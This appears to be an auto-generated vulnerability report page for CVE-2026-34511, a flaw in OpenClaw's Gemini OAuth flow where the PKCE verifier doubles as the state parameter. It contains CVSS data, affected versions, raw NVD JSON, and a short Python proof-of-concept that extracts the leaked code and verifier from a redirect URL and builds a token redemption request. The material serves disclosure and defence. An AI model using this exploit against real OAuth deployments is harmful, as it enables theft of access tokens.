Security Vulnerability Report
中文
CVE-2026-34511 CVSS 5.3 MEDIUM

CVE-2026-34511

Published: 2026-04-03 21:17:12
Last Modified: 2026-04-22 18:03:16

Description

OpenClaw before 2026.4.2 reuses the PKCE verifier as the OAuth state parameter in the Gemini OAuth flow, exposing it through the redirect URL. Attackers who capture the redirect URL can obtain both the authorization code and PKCE verifier, defeating PKCE protection and enabling token redemption.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Simulate the token redemption using leaked parameters from the redirect URL # Exploit scenario: Attacker intercepts the redirect URL containing 'code' and 'state' # where 'state' is actually the 'code_verifier'. def exploit_token_redemption(leaked_redirect_url, token_endpoint, client_id): """ Exploit the PKCE bypass by redeeming the token using the leaked verifier. """ # Parse the leaked URL to extract authorization code and verifier (state) # Example URL: https://callback.com/?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz123 # Note: In this vulnerable app, 'state' == 'code_verifier' print(f"[*] Intercepted Redirect URL: {leaked_redirect_url}") # Extract parameters (parsing logic simplified for PoC) # In a real attack, parse the query string params = {p.split('=')[0]: p.split('=')[1] for p in leaked_redirect_url.split('?')[1].split('&')} auth_code = params.get('code') code_verifier = params.get('state') # The vulnerability: state is the verifier if not auth_code or not code_verifier: print("[-] Could not extract required parameters from URL.") return print(f"[+] Leaked Authorization Code: {auth_code}") print(f"[+] Leaked PKCE Verifier (from state): {code_verifier}") # Payload to redeem the token data = { 'grant_type': 'authorization_code', 'code': auth_code, 'redirect_uri': 'https://callback.com/', 'client_id': client_id, 'code_verifier': code_verifier # Using the leaked verifier } print(f"[*] Sending token redemption request to {token_endpoint}...") # response = requests.post(token_endpoint, data=data) # Actual request # print(f"[+] Response: {response.json()}") print("[+] Exploit logic executed. If valid, access token granted.") # Example Usage # exploit_token_redemption( # "https://app.com/callback?code=auth_code_secret&state=pkce_verifier_secret", # "https://oauth.provider.com/token", # "client_id_value" # )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34511", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:11.517", "lastModified": "2026-04-22T18:03:16.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.2 reuses the PKCE verifier as the OAuth state parameter in the Gemini OAuth flow, exposing it through the redirect URL. Attackers who capture the redirect URL can obtain both the authorization code and PKCE verifier, defeating PKCE protection and enabling token redemption."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-330"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.2", "matchCriteriaId": "9E93D9F1-C6FA-4AEE-AC8B-27CDEE77637C"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/a26f4d0f3ef0757db6c6c40277cc06a5de76c52f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9jpj-g8vv-j5mf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-pkce-verifier-exposure-via-oauth-state-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}